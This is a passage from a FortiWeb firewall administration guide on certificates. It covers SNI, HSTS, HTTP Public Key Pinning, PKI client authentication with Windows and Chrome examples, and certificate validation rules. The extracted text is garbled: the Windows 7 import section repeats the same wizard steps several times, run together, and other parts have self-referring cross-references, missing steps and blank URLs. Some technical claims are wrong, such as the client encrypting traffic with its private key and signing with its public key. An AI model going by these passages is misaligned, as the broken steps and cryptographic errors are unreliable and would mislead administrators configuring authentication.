For details, see Grouping trusted CA certificates on page 395.
Alternatively, include the entire signing chain in the server certificate itself
before you upload it to FortiWeb, which completes the chain of trust with a CA
already known to the client. For details, see Uploading a server certificate on
page 402 and Supplementing a server certificate with its signing chain on
page 404.
Certificate Verify Select the name of a certificate verifier, if any, that FortiWeb uses when an
HTTP client presents its personal certificate to the website specified by
Domain. If you do not select one, the client is not required to present a
personal certificate. For details, see How to apply PKI client authentication
(personal certificates) on page 411.
identity of the person connecting to the website (PKI authentication).
You can require that clients present a certificate instead of, or in addition to,
HTTP authentication. For details, see Offloaded authentication and optional
SSO configuration on page 365.
Note: The client must support TLS 1.0.
7. Click OK.
8. Repeat the member creation steps to add additional domains and the certificate and verifier associated with them
to the inline SNI configuration. A SNI configuration can have up to 256 entries.
9. To use an inline SNI configuration, you select it in a server policy. For details, see Configuring an HTTP server
policy on page 242.
To create an offline Server Name Indication (SNI) configuration
1. Go to System > Certificates > SNI.

2. Select System > Offline SNI.
4. For Name, type a name that can be referenced by other parts of the configuration. Do not use special characters.
5. Click OK.
Domain Type Select Simple String to match a domain to certificates using a literal domain
specified in Domain on page 407.
Otherwise, select Regular Expression to match multiple domains to
certificates using a regular expression specified in Domain on page 407.

Domain Specify the domain of the secure website (HTTPS) that uses the certificate
specified by Local Certificate. Enter a literal domain if Simple String is
selected in Domain Type on page 407, or enter a regular expression if
Regular Expression is selected.
After you fill in the field with a regular expression, you can fine-tune the
Local Certificate Select the server certificate that FortiWeb uses to decrypt SSL-secured
connections for the website specified by Domain. For details, see Uploading a
server certificate on page 402.
7. Click OK.
8. Repeat the member creation steps to add additional domains and the certificate to the SNI configuration. An offline
SNI configuration can have up to 256 entries.
9. To use an offline SNI configuration, you select it in a server policy. For details, see Configuring an HTTP server
policy on page 242.
See also

Forcing clients to use HTTPS
Most users are unaware of protocols and security. Even if your websites offer secure services, users generally still try to
access websites using HTTP.
As a result, it's best to provide at least an HTTP service that redirects requests to HTTPS. Even then, if a Man-in-the-
Middle (MITM) attacker or CRL causes a certificate validation error, many users will incorrectly assume it is harmless,
and click through the alert dialog to access the website anyway—sometimes called “click-through insecurity.” The
resulting unsecured connection exposes sensitive data and their login credentials.
Newer versions of major browsers such as Mozilla Firefox and Google Chrome have a built-in list of frequently attacked
websites such as gmail.com and twitter.com. The browser will only allow them to be accessed via HTTPS. This
prevents users from ever accidentally exposing sensitive data via clear text HTTP. Additionally, the browser will not
show click-through certificate validation error dialogs to the user, preventing them from ignoring and bypassing fatal
security errors.
Similarly, you can also force clients to use only HTTPS when connecting to your websites. To do this, when FortiWeb is
performing SSL/TLS offloading, configure it include the RFC 6797 (http://tools.ietf.org/html/rfc6797) strict transport
security header. All compliant clients will require access to that domain name via a connection using HTTPS.
To force clients to connect only via HTTPS
1. If you want to redirect clients that initially attempt to use HTTP, configure an HTTP-to-HTTPS redirect. See
Example: HTTP-to-HTTPS redirect on page 633 and Rewriting & redirecting on page 628.

2. When configuring the server policy, enable Configuring an HTTP server policy on page 242 and configure
Configuring an HTTP server policy on page 242.
See also
l Indicating to back-end web servers that the client’s request was HTTPS on page 195
HTTP Public Key Pinning
HTTP Pubic Key Pinning (HPKP) is a security feature in which FortiWeb inserts a cryptographic public key in server
responses that clients then use to access a server. HPKP prevents attackers from carrying out Man-in-the-Middle
(MITM) attacks with forged certificates.
When HPKP is configured, FortiWeb will insert a specified header field into a server's response header that is wrapped
in a verified X.509 certificate. The specified header contains a cryptographic public key called a Subject Public Key
Information (SPKI) fingerprint that the client will store for a set period of time.
When the client attempts to access the server again, the server will provide a public key that the client recognizes with
the public key it received earlier. If the client does not recognize the public key that the server provides in its response,
FortiWeb will generate a report and can deny the request.
HPKP is supported when FortiWeb is in Reverse Proxy and True Transparent Proxy mode.
To configure an HPKP profile
1. Go to System > Certificates > Public Key Pinning.

To access this part of the web UI, your administrator's account access profile must have Read and Write permission
to items in the System Configuration category. For details, see Permissions on page 56.
Name Enter a name for the HPKP profile. You will use this name to select
the profile in other parts of the configuration. The maximum length is
63 characters.
PIN-SHA256 Enter a Base64 encoded SPKI fingerprint. Enter at least two pins, and
at most five pins. At least one pin servers as a backup and must not
refer to an SPKI fingerprint in a current certificate chain.
Max Age Enter an interval (in seconds) in which the client will use the SPKI
fingerprint to attempt to access the server. The valid range is 0–
31536000; the default value is 1296000. If you enter a value of 0, the
cached pinning policy information will be removed.
Include Subdomains Optionally, enable this setting to apply the public key pinning rule to
all of the server's subdomains.
Report URI Optionally, enter a URI to which FortiWeb will send pin validation
failures.

Report Only Enable so that FortiWeb sends reports to the specified Report URI on
page 410, if any, and allows the client to connect to the server when
there is a pin validation failure.
Disable so that FortiWeb sends reports to the specified Report URI on
page 410, if any, and prevents the client from connecting to the
server when there is a pin validation failure.
4. Click OK.
To enable HPKP in Reverse Proxy mode
2. Modify an existing server policy or create a new one.
To modify an existing server policy, select the policy and click Edit.
Note: You will have to select an HTTPS Service if it is not already configured.
To create a new policy, click Create New.
3. For HTTPS Service, select either HTTP or HTTPS according to your environment's needs.
4. Click Show advanced SSL settings.
5. For Add HPKP Header, select a configured HPKP profile.
6. When you are finished configuring the policy, click OK.
To enable HPKP in True Transparent Proxy mode

2. Modify an existing server pool or create a new one.
To modify an existing True Transparent Proxy type server pool, select it and click Edit.
To create a new server pool, click Create New and select True Transparent Proxy for the server pool type.
Optionally, leave a description for the server pool in the Comments text box, and click OK when you are finished.
3. Edit an existing server pool rule or create a new one.
To edit an existing rule, select it and click Edit.
Note: You will have to enable SSL if it is not already enabled.
To create a new rule, click Create New.
4. Enable SSL.
6. For Add HPKP Header, select a configured HPKP profile.
7. When you are finished configuring the rule, click OK.
How to apply PKI client authentication (personal certificates)
If your clients will connect to your websites using HTTPS, you can configure FortiWeb to require clients to present a
personal certificate during the handshake in order to confirm their identities. This is sometimes called public key

infrastructure (PKI) authentication (RFC 5280; http://www.ietf.org/rfc/rfc5280.txt).

Because FortiWeb presents its own server certificate to the client before requesting one from the client, all PKI
authentication with FortiWeb is mutual (2-way) authentication.
In addition to FortiWeb verifying client certificates, you can configure FortiWeb to

forward client certificates to the back-end server, whether for additional verification
or identity-based functionality. See Configuring an HTTP server policy on page 242.
PKI authentication is an alternative to traditional password-based authentication. The traditional method is based on
“what you know”—a password used for authentication. PKI authentication is based on “what you have”—a private key
related to the certificate bound to only one person. PKI authentication may be preferable for devices where it is onerous
for the person to type a password, such as smart phones or tablets.
A known weakness of traditional password based authentication is the vulnerability to password guessing or brute force
attacks. Despite warnings, many users still choose weak passwords either because they do not understand what makes
a password “strong,” because they do not understand the risks that it poses to the organization, or because they cannot
remember a randomized password.
PKI authentication is far more resilient to brute force attacks, and does not require end-users to remember anything.
This means that the security of PKI authentication is often stronger than traditional passwords.
For even stronger authentication, you can combine PKI authentication with HTTP or
form-based authentication. For details, see Authentication styles on page 337.
Bilateral authentication
Matches ü
CA
Signed:
Client
Root
example.com
Signed:
CA
Signed:
CA
CA
Signed:
Root
Matches ü
PKI authentication relies on sole private key possession and asymmetric encryption to confirm a user's identity.

Sole private key posession
The private key is a randomized string of text that has a hard-to-guess relationship with its corresponding public key. As
such, it features cryptographic protection that passwords lack: passwords do not necessarily have a verifiable,
computable relationship with anything. However, like a password, a private key’s strength depends on it remaining a
secret.
Like with all X.509 certificates, a client’s identity can only be irrefutably confirmed if no one else except that person has
that certificate’s private key.
Public key
sent to others
with certificate
when authenticating
Client
Cl
lie
ent
Signed:
igned:
CA
Private key
kept secret
Provide the client’s private keys only to that specific client, and transmit and store
any backups securely, just as you would for passwords. Failure to store them
securely and properly restrict the private key solely to its intended end-user could
allow others to authenticate as that person, compromising the security of your
websites.
In the event of potential private key compromise, immediately revoke the
corresponding personal certificate. For details, see Revoking certificates on page
430.
Asymmetric encryption
Public key encryption is a type of asymmetric encryption: it is based upon two keys that are different—but exactly
paired—mathematical complements.

Only the private key can decrypt data that was encrypted by its public key. The inverse is also true: only the public key
can decrypt data that was encrypted by its private key. This is illustrated in the Rivest-Shamir-Adleman (RSA)
cryptographic algorithm.
RSA algorithm:
During an SSL or TLS handshake, the client and FortiWeb negotiate which of their supported cryptographic algorithms
to use, and exchange certificates. After the server receives the client’s certificate with its public key, the client encrypts
subsequent communications using its private key. As a result, if the server can decrypt messages using the public key,
it knows that they originate from the originally connecting client who has the related private key, not an intercepting
host (e.g., a Man-in-the-Middle (MITM) attack).
Depending on factors such as a misconfigured client, an SSL/TLS connection may in

some cases still be vulnerable to MITM attacks.
There are several steps that you can take to harden security, including using greater
bit strengths, updating and properly configuring clients, revoking compromised
certificates, and installing only trusted certificates. For details, see Hardening
security on page 791 and Configuring FortiWeb to validate client certificates on
page 421.

Encrypted transmissions can contain a message authentication checksum (MAC) to verify that the message was not
altered during transmission by an interceptor:
l Digital signatures—Public keys are also used as signatures. Similar to an encrypted message, as long as the
private key is possessed by only one individual, any signature generated from it is also guaranteed to come only
from that client. The client will sign a certificate with its matching public key.
Because certificate authorities (CA) sign applicants’ certificates, third parties who have that CA’s certificate can
also confirm that the CA certified the applicant’s identity, and the certificate was not forged.
l Chain of trust—What if a device does not know the CA that signed the connecting party’s certificate? Since there
are many CAs, this is a common scenario.
The solution is to have a root CA in common between the two connecting parties, a “friend of a friend.”
If a root CA is trusted to be genuine and to sign only certificates where it has verified the applicant’s identity, then
by induction, all sub-CA certificates that the root CA has signed will also be trusted as genuine. Therefore, if a client
or server’s certificate can prove that it is either indirectly (through an intermediary CA signed by the root CA) or
directly signed by the trusted root CA, that client/server’s certificate will be trusted as genuine.
To configure client PKI authentication
1. Obtain a personal certificate for the client, and its private key, from a CA.
Steps vary by the CA. Personal certificates can be purchased or downloaded from either commercial CAs such as
VeriSign, Thawte, or Comodo, or your organization’s own private CA, such as a Linux server where you use
OpenSSL or a Mac OS X server where you have set up a CA in Keychain Access. For information on certificate
requirements such as extended attributes, see Configuring FortiWeb to validate client certificates on page 421.
For a private CA example, see Example: Generating & downloading a personal certificate from
Microsoft Windows 2003 Server on page 416.
2. Download the CA’s certificate, which contains its public key and therefore can verify any personal certificate that
the CA has signed.
Steps vary by the CA.
For a private CA example, see Example: Downloading the CA’s certificate from Microsoft Windows 2003 Server on
page 418.
If you purchased personal certificates from CAs such as VeriSign, Thawte, or Comodo, you should not need to
download the certificate: simply export those CAs’ certificates from your browser’s own trust store, similar to To
export and transmit a personal certificate from the trust store on Microsoft Windows 7 on page 417, then upload
them to FortiWeb. For details, see Uploading trusted CA certificates on page 393.
3. Install the personal certificate with its private key on the client.
Steps vary by the client’s operating system and web browser. If the client uses Microsoft Windows 7, see Example:
Importing the personal certificate & private key to a client’s trust store on Microsoft Windows 7 on page 418.
4. Upload the CA’s certificate to the FortiWeb’s trust store. For details, see Uploading the CA’s certificate to
FortiWeb’s trusted CA store on page 421.
5. If you have a certificate revocation list, configure FortiWeb with it. For details, see Revoking certificates on page
430.
6. Depending on FortiWeb’s current operation mode, configure either a server policy or server pool to consider CA
certificates and CRLs when verifying client certificates. For details, see Configuring FortiWeb to validate client
7. Configure the server policy to accept HTTPS. For details, see HTTPS Service on page 247.

Example: Generating & downloading a personal certificate from

Microsoft Windows 2003 Server
If you are running Microsoft Certificate Services on Microsoft Windows 2003 Server, you can use your server as a CA, to
generate and sign personal certificates on behalf of your clients.
As part of signing the certificate, the CA will send the finished personal certificate to your web browser. As a result, when
you are finished generating, you must export the certificates from your computer’s trust store in order to deploy the
certificates to clients.
To generate a personal certificate in Microsoft Windows 2003 Server
1. On your management computer, start your web browser.

2. Go to:
where <ca-server_ipv4> is the IP address of your CA server.
3. Log in as Administrator.
4. Click the Request a certificate link.
5. Click the advanced certificate request link.
6. Click the Create and submit a request to this CA link.
7. In the Certificate Template drop-down list, select the Client Authentication template (or a template that you have
created for the purpose using Microsoft Management Console (MMC)).
8. In the Name field, type the name the end-user on behalf of which the client certificate request is being made. This
will be the Subject: field in the certificate. Other fields are optional.
9. Click Submit.
The certificate signing request (CSR) is submitted to the CA.
10. If a message appears, warning you that the website is requesting a new certificate on your behalf, click Yes to
proceed.
Once the CA server generates the requested certificate, the Certificate Issued window appears.
11. Click the Install this certificate link.
Your browser downloads the certificate, including its private key, and installs it in its trust store. The certificate’s
name is the one you specified in In the Name field, type the name the end-user on behalf of which the client
certificate request is being made. This will be the Subject: field in the certificate. Other fields are optional. on page
416.
Transmit and store any private key backups securely, just as you would for
passwords. Failure to store them securely and restrict the private key solely to its
intended end-user could allow others to authenticate as that person,
compromising the security of your websites.
430.
12. If a message appears, warning you that the website is adding one or more certificates to your computer, click Yes
to proceed.
13. Return to the Microsoft Certificate Services (MSCS) home page for your local CA and repeat Click the Request
a certificate link. on page 416 through If a message appears, warning you that the website is adding one or more
certificates to your computer, click Yes to proceed. on page 416 for each end-user that will use PKI authentication.

To export and transmit a personal certificate from the trust store on Microsoft Windows 7
1. Start Microsoft Internet Explorer 9.

2. Go to Tools [gear icon] > Internet options.
3. Click the Content tab.
4. Click the Certificates button.
5. Click to select a personal certificate in the list.
6. Click Export.
7. Click Next.
8. Select Yes, export the private key.
The end-user will require his or her private key in order to authenticate. Without that token (or if many people
possess that token), identity cannot be confirmed.
Transmit and store any private key backups securely, just as you would for
passwords. Failure to store them securely and restrict the private key solely to its
intended end-user could allow others to authenticate as that person,
compromising the security of your websites.
430.
9. Click Next.
10. Select Personal Information Exchange - PKCS #12 (.pfx) as the file format.
11. f you need to absolutely guarantee identity (e.g., not even you, the administrator, will have the end-user’s private
key installed – only the end-user will), mark the check box named Delete the private key if the export is
successful.
For improved performance, do not include all CA certificates from the personal certificate’s certification path (e.g.,
the chain of trust or signing chain). Including the signing chain increases the size of the certificate, which slightly
increases the amount of time and traffic volume required to transmit the certificate each time to FortiWeb. Instead,
upload those CAs’ certificates to the FortiWeb appliance. For details, see Uploading trusted CA certificates on
page 393.
12. Click Next.
13. Enter and confirm the spelling of the password that will be used to password-protect and encrypt the exported
certificate and its private key.
14. Click Next.
15. In File name, enter a unique file name for the certificate, then click Browse to specify the location where you want
to save the exported certificate and private key.
Use a consistent naming convention. This will minimize the likelihood that you confuse one person’s private key
with another’s, deliver it to the wrong person, and therefore need to revoke the corresponding certificate and
generate a new one.
16. Click Finish to export the certificate and private key.
The certificate and private key are exported in a single file with a .pfx file extension to the location specified in In
File name, enter a unique file name for the certificate, then click Browse to specify the location where you want to
save the exported certificate and private key.Use a consistent naming convention. This will minimize the likelihood
that you confuse one person’s private key with another’s, deliver it to the wrong person, and therefore need to
revoke the corresponding certificate and generate a new one. on page 417.
If the export is successful, a notice appears.
17. Click OK.

18. Securely transmit both the .pfx file and its password to the end-user, along with instructions on how to install the
certificate in his or her web browser’s trust store.
Only provide the client’s private key to that specific client, and transmit and store
any backups securely, just as you would for passwords. Failure to store it securely
and restrict the private key solely to its intended end-user could allow others to
authenticate as that person, compromising the security of your websites.
430.
For example, you could give him or her a USB key in person and instruct the end-user to double-click the file, or install
the .pfx in a Microsoft Active Directory roaming profile. For details, see Example: Importing the personal certificate &
private key to a client’s trust store on Microsoft Windows 7 on page 418.
Example: Downloading the CA’s certificate from Microsoft Windows 2003 Server
If you are generated and signed your end-users’ personal certificates using Microsoft Certificate Services on Microsoft
Windows 2003 or 2008 Server, you must download the CA’s certificate and provide it to the FortiWeb appliance so that
it will be able to verify the CA signature on each personal certificate.
To download a CA certificate from Microsoft Windows 2003 Server
1. On your management computer, start your web browser.

2. Go to:
where <ca-server_ipv4> is the IP address of your CA server.
3. Log in as Administrator.
4. Click the Download CA certificate, certificate chain, or CRL link.
5. From Encoding Method, select Base64.
6. Click Download CA certificate.
7. If your browser prompts you, select a location to save the CA’s certificate file.
Example: Importing the personal certificate & private key to a client’s trust store
on Microsoft Windows 7
If you need to import one or two certificates to a person’s computer on his or her behalf, you can manually import the
.pfx file.
If you are importing a clients’ personal certificates to their computers on their behalf,
for mass distribution, it may save you time to instead deploy certificates via a script
or, if the computer is a member of a Microsoft Active Directory domain, a login script
or roaming profile.
To harden security, you should also make sure that the browser’s settings are
configured to check servers’ certificates (such as FortiWeb’s) with a CRL in case the
servers’ certificates become compromised, and must be revoked.

Methods for importing a certificate to the trust store vary by the client’s browser and operating system. In this section
are methods for some popular browsers. For other browsers and operating systems, consult the client’s browser
documentation.
To import a client certificate into Microsoft Windows 7
1. Start Microsoft Internet Explorer 9.

Alternatively, if you have a .pfx file, double-click it to open the wizard, then skip to step Start Microsoft Internet
Explorer 9.Alternatively, if you have a .pfx file, double-click it to open the wizard, then skip to step Start Microsoft
Internet Explorer 9.Alternatively, if you have a .pfx file, double-click it to open the wizard, then skip to step Start
Microsoft Internet Explorer 9.Alternatively, if you have a .pfx file, double-click it to open the wizard, then skip to
step 6.Go to Tools [gear icon] > Internet options.Click the Content tab.Click the Certificates button.Click
Import.The Certificate Import Wizard appears.Click Next. If you double-clicked the certificate and private key file to
start the wizard, the file is already specified in File name.Otherwise, click Browse. Go to the location where you
downloaded the personal certificate. From Files of type, select Personal Information Exchange (*.pfx, *.p12), All
Files (*.*), or whatever file format was used to export the certificate. Finally, select the certificate file, and click
Open.Click Next.The Password step appears.In Password, type the password that was used to secure the private
key. (If the certificate was made on your behalf by an administrator, this is the password that the administrator used
when exporting your .pfx file. He or she must provide this password to you.)Click Next.The Certificate Store step
appears.Select either:Automatically select the certificate store based on the type of certificate—Your personal
certificate will automatically be placed in the default personal certificate store, as long as it was created
correctly.Place all certificates in the following store—Click the Browse button to manually indicate your personal
certificate store.Click Next.Click Finish.If the import is successful, a notification appears.Click OK.The certificate
and private key are now imported to the store of certificates specified in step Select either:Automatically select the
certificate store based on the type of certificate—Your personal certificate will automatically be placed in the
default personal certificate store, as long as it was created correctly.Place all certificates in the following store—
Click the Browse button to manually indicate your personal certificate store., which should be the personal
certificate store. The person’s browser should now be able to present his or her personal certificate whenever a
server requires PKI authentication. Click the Advanced tab.In the Settings area, scroll down to the Security
settings.Enable Check for server certificate revocation.Click OK to save your settings and close the Internet
Options dialog window.Close Internet Explorer..Go to Tools [gear icon] > Internet options.Click the Content
tab.Click the Certificates button.Click Import.The Certificate Import Wizard appears.Click Next. If you double-
clicked the certificate and private key file to start the wizard, the file is already specified in File name.Otherwise,
click Browse. Go to the location where you downloaded the personal certificate. From Files of type, select Personal
Information Exchange (*.pfx, *.p12), All Files (*.*), or whatever file format was used to export the certificate.
Finally, select the certificate file, and click Open.Click Next.The Password step appears.In Password, type the
password that was used to secure the private key. (If the certificate was made on your behalf by an administrator,
this is the password that the administrator used when exporting your .pfx file. He or she must provide this password
to you.)Click Next.The Certificate Store step appears.Select either:Automatically select the certificate store based
on the type of certificate—Your personal certificate will automatically be placed in the default personal certificate
store, as long as it was created correctly.Place all certificates in the following store—Click the Browse button to
manually indicate your personal certificate store.Click Next.Click Finish.If the import is successful, a notification
appears.Click OK.The certificate and private key are now imported to the store of certificates specified in step
Select either:Automatically select the certificate store based on the type of certificate—Your personal certificate
will automatically be placed in the default personal certificate store, as long as it was created correctly.Place all
certificates in the following store—Click the Browse button to manually indicate your personal certificate store.,
which should be the personal certificate store. The person’s browser should now be able to present his or her
personal certificate whenever a server requires PKI authentication. Click the Advanced tab.In the Settings area,
scroll down to the Security settings.Enable Check for server certificate revocation.Click OK to save your settings
and close the Internet Options dialog window.Close Internet Explorer..Go to Tools [gear icon] >
Internet options.Click the Content tab.Click the Certificates button.Click Import.The Certificate Import Wizard
appears.Click Next. If you double-clicked the certificate and private key file to start the wizard, the file is already
specified in File name.Otherwise, click Browse. Go to the location where you downloaded the personal certificate.

From Files of type, select Personal Information Exchange (*.pfx, *.p12), All Files (*.*), or whatever file format was
used to export the certificate. Finally, select the certificate file, and click Open.Click Next.The Password step
appears.In Password, type the password that was used to secure the private key. (If the certificate was made on
your behalf by an administrator, this is the password that the administrator used when exporting your .pfx file. He or
she must provide this password to you.)Click Next.The Certificate Store step appears.Select either:Automatically
select the certificate store based on the type of certificate—Your personal certificate will automatically be placed in
the default personal certificate store, as long as it was created correctly.Place all certificates in the following
store—Click the Browse button to manually indicate your personal certificate store.Click Next.Click Finish.If the
import is successful, a notification appears.Click OK.The certificate and private key are now imported to the store
of certificates specified in step Select either:Automatically select the certificate store based on the type of
certificate—Your personal certificate will automatically be placed in the default personal certificate store, as long as
it was created correctly.Place all certificates in the following store—Click the Browse button to manually indicate
your personal certificate store., which should be the personal certificate store. The person’s browser should now be
able to present his or her personal certificate whenever a server requires PKI authentication. Click the Advanced
tab.In the Settings area, scroll down to the Security settings.Enable Check for server certificate revocation.Click OK
to save your settings and close the Internet Options dialog window.Close Internet Explorer..
2. Go to Tools [gear icon] > Internet options.
3. Click the Content tab.
4. Click the Certificates button.
5. Click Import.
The Certificate Import Wizard appears.
6. Click Next.
7. If you double-clicked the certificate and private key file to start the wizard, the file is already specified in File name.
Otherwise, click Browse. Go to the location where you downloaded the personal certificate. From Files of type,
select Personal Information Exchange (*.pfx, *.p12), All Files (*.*), or whatever file format was used to
export the certificate. Finally, select the certificate file, and click Open.
8. Click Next.
The Password step appears.
9. In Password, type the password that was used to secure the private key. (If the certificate was made on your
behalf by an administrator, this is the password that the administrator used when exporting your .pfx file. He or
she must provide this password to you.)
10. Click Next.
The Certificate Store step appears.
11. Select either:
Automatically select the certificate store based on the type of certificate—Your personal certificate will
automatically be placed in the default personal certificate store, as long as it was created correctly.
Place all certificates in the following store—Click the Browse button to manually indicate your personal
certificate store.
12. Click Next.
13. Click Finish.
If the import is successful, a notification appears.
14. Click OK.
The certificate and private key are now imported to the store of certificates specified in step Select
either:Automatically select the certificate store based on the type of certificate—Your personal certificate will
automatically be placed in the default personal certificate store, as long as it was created correctly.Place all
certificates in the following store—Click the Browse button to manually indicate your personal certificate store.,
which should be the personal certificate store. The person’s browser should now be able to present his or her
personal certificate whenever a server requires PKI authentication.

15. Click the Advanced tab.

16. In the Settings area, scroll down to the Security settings.
17. Enable Check for server certificate revocation.
18. Click OK to save your settings and close the Internet Options dialog window.
19. Close Internet Explorer.
The Check for server certificate revocation option will not take effect until you
restart the browser.
To import a client certificate into Google Chrome on Microsoft Windows 7
1. Start Google Chrome.

2. Click the wrench icon in the top right (Customize and control Google Chrome), then select Settings... from
the drop-down menu that appears. On Mac OS X, this option is named Preferences.
The dialog for configuring Google Chrome settings appears. On the left hand navigation menu, the Settings
section is selected.
3. At the bottom of the page, click Show advanced settings to reveal additional settings, including HTTP/SSL.
4. In the HTTPS/SSL area, enable Check for certificate revocation.
5. Click the Manage certificates button.
The Windows Certificates store dialog window appears. (In Mac OS X, this is the Keychain Access application instead.)
By default, the Personal tab is front most. Continue with Click Import.The Certificate Import Wizard appears. on page
420 in To import a client certificate into Microsoft Windows 7 on page 419.
Import a personal certificate in Google Chrome. Go to [Wrench icon] > Options > Under the Hood, click
Manage Certificates, then click Import
Uploading the CA’s certificate to FortiWeb’s trusted CA store
In order for FortiWeb to be able to verify the CA’s signature on client’s personal certificates when they connect, the CA’s
certificate must exist in the FortiWeb’s trusted CA certificate store.
You must either:
l Upload the certificates of the signing CA and all intermediary CAs to FortiWeb’s store of CA certificates. For
details, see Uploading trusted CA certificates on page 393.
l Include the full signing chain up to a CA that FortiWeb knows in all personal certificates in order to prove that the
clients’ certificates should be trusted.
To harden security, regularly update FortiWeb’s CRL file in order to immediately

revoke a CA’s certificate if has been compromised. For details, see Revoking
Configuring FortiWeb to validate client certificates
To be valid, a client certificate must:

l Not be expired or not yet valid.

l Be signed by a certificate authority (CA) whose certificate you have imported into the FortiWeb appliance. For
l Contain an Issuer field whose value matches the Subject field in a CA’s certificate.
If the client presents an invalid certificate during PKI authentication for HTTPS, the FortiWeb appliance will not allow
the connection.
Certificate validation rules (in the web UI, these are called certificate verification rules) tell FortiWeb which set of CA
certificates to use when it validates personal certificates. They also specify a CRL, if any, if the client’s certificate must
be checked for revocation.
Alternatively, if you have enabled SNI in a server policy or server pool, FortiWeb uses the set of CA certificates specified
in the SNI configuration that matches the client request to validate personal certificates.
If you configure the URL-based client certificate feature in a server policy orgroup, the rules in the specified URL-based
client certificate group determine whether a client is required to present a personal certificate.
1. Before you can configure a certificate validation rule, you must first configure a CA group. For details, see Grouping
trusted CA certificates on page 395. You may also need to upload a CRL file if you need to explicitly revoke some
invalid or compromised certificates. For details, see Revoking certificates on page 430.
2. Go to System > Certificates > Certificate Verify.
A dialog appears.
CA Group Select the name of an existing CA Group that you want to use to authenticate
client certificates. For details, see Grouping trusted CA certificates on page
395.
revocation status of client certificates. For details, see Revoking certificates
on page 430.
Publish CA Distinguished Enable to list only certificates related to the specified CA group. This is
Name beneficial when a client installs many certificates in its browser or when apps
don't list client certificates. If you enable this option, also enable the option in
a CA group. For details, see Grouping trusted CA certificates on page 395.
Strictly Require Client Enable so that FortiWeb requires a client to provide a client certificate during
Certificate the SSL handshake. When enabled, if a client doesn't provide a client
certificate during the SSL handshake, FortiWeb won't accept the request.
When disabled, FortiWeb will accept a request even if the client doesn't
provide a client certificate during the SSL handshake.

5. Click OK.
6. To apply a certificate verification rule, do one of the following:
l Select it in a server policy or server pool configuration that includes HTTPS service. For details, see
Configuring an HTTP server policy on page 242 or Creating a server pool on page 169.
l Select it in an SNI configuration. For details, see Allowing FortiWeb to support multiple server certificates on
page 406.
When a client connects to the website, after FortiWeb presents its own server certificate, it will request one from
the client.The web browser should display a prompt, allowing the person to indicate which personal certificate he or
she wants to present.
If the connection fails when you have selected a certificate verifier, verify that the
certificate meets the web browser’s requirements. Web browsers may have their
own certificate validation requirements in addition to FortiWeb's requirements.
For example, personal certificates for client authentication may be required to
either:
l Not be restricted in usage/purpose by the CA.
l Contain a Key Usage field that contains a Digital Signature or
have a ExtendedKeyUsage or EnhancedKeyUsage field whose value
contains Client Authentication.
If the certificate does not satisfy browser requirements, although it may be
installed in the client’s store, when the FortiWeb appliance requests the client’s
certificate, the browser may not present a certificate selection dialog to the user,
or the dialog may not contain that certificate. In that case, verification will fail.
For browser requirements, see your web browser’s documentation.
When a PKI authentication attempt fails, if you have enabled logging, attack log messages will be recorded.
Messages vary by the cause of the error. Common messages are:
X509 Error 20 - Issuer certificate could not be found. FortiWeb does not have the
certificate of the CA that signed the personal certificate, and therefore cannot verify the personal certificate. For
X509 Error 52 - Get client certificate failed. The client did not present its personal certificate
to FortiWeb, which could be caused by the client not having its personal certificate properly installed. For details,
see How to apply PKI client authentication (personal certificates) on page 411.
X509 Error 53 - Protocol error. Various causes, but could be due to the client and FortiWeb having no
mutually understood cipher suite or protocol version during the SSL/TLS handshake.
See also
l How to apply PKI client authentication (personal certificates) on page 411

l Revoking certificates on page 430
Configure FortiWeb to validate server certificates
A valid server certificate must:

l Not expire.
l Be signed by a certificate authority (CA) whose certificate you have imported into the FortiWeb appliance.
For Reverse Proxy and True Transparent Proxy modes, FortiWeb can now verify validity of the back end server
certificate.
If the server presents an invalid certificate during PKI authentication for HTTPS, the FortiWeb appliance will not allow
the connection, and block access to the server.
To configure a server certificate validation rule
1. Before you can configure a server certificate validation rule, you must first configure a CA group. For details, see
Grouping trusted CA certificates on page 395. You may also need to upload a CRL file if you need to explicitly
revoke some invalid or compromised certificates. For details, see Revoking certificates on page 430.
2. Go to System > Certificates > Server Certificate Verify.
A dialog appears.
CA Group Select the name of an existing CA Group that you want to use to authenticate
server certificates. For details, see Grouping trusted CA certificates on page
395.
revocation status of server certificates. For details, see Revoking certificates
on page 430.
5. Click OK.
6. To apply a server certificate verification rule, select it in a server pool configuration that includes HTTPS service.
See also
l How to apply PKI client authentication (personal certificates) on page 411

l Configuring FortiWeb to validate client certificates
l Revoking certificates on page 430

Use URLs to determine whether a client is required to present a certificate
You can use Certificate Verification in a server policy (Reverse Proxy mode) or server pool configuration (True
Transparent Proxy) to require clients to present a personal certificate. When you select a value for this setting, all clients
are required to present a personal certificate.
Alternatively, you can configure the URL-based client certificate feature in a server policy or server pool, which allows
you to require a certificate for some requests and not for others. Whether a client is required to present a personal
certificate or not is based on the requested URL and the rules you specify in the URL-based client certificate group.
A URL-based client certificate group specifies the URLs to match and whether the matched request is required to
present a certificate or exempt from presenting a certificate.
When the URL-based client certificate feature is enabled, clients are not required to present a certificate if the request
URL is specified as exempt in the URL-based client certificate group rule or URL of the request does not match a rule.
1. Go to System > Certificates > URL Certificate.

3. For Name, enter a name that can be referenced in other parts of the configuration.
4. Click OK.
6. Complete these settings:
URL Specify the URL to match.

When the URL of a client request matches this value and Match on
page 425 is selected, FortiWeb requires the client to present a private
certificate.
Match Specifies whether client requests with the URL specified by Use URLs
to determine whether a client is required to present a certificate on
page 424 are required to present a personal certificate.
If this option is not selected, client requests with the URL specified by
Use URLs to determine whether a client is required to present a
certificate on page 424 are not required to present a personal
certificate.
7. Repeat the URL certificate member creation steps for any other URLs you require.
8. Click OK to close the URL certificate configuration.
9. To apply URL-based client certificate group, select it in a server policy or server pool configuration that includes an
HTTPS service or SSL. For details, seeConfiguring an HTTP server policy on page 242 or Creating a server pool on
page 169.
Using XML client certificates and server certificates for WS-Security rule
Unique for WS-Security rules in XML Protection, you can upload XML client certificates and server certificates to
FortiWeb. The XML server certificate is used for request decryption or response signature, while the XML client

certificate is used for request verification or response encryption.

The certificates must be in x509v3 format and PEM file.
To upload a server certificate
1. Go to System > Certificates > XML Certificate.

2. Click Server Certificate.
3. Click Import.
4. Configure these settings.
Certificate file Click Choose File to locate the certificate file that you want to
upload.
Key file Click Choose File to locate the key file that you want to upload with
the certificate.
Password Type the password that is used to encrypt the file, enabling the
FortiWeb appliance to decrypt and install the certificate.
5. Click OK.
6. To apply the certificate, select it in a WS-Security rule. For details, see Creating WS-Security rules on page 570
See also
Creating WS-Security rules on page 570
To upload a client certificate

2. Click Client Certificate.
3. Click Import.
Certificate file Click Choose File to locate the certificate file that you want to
upload.
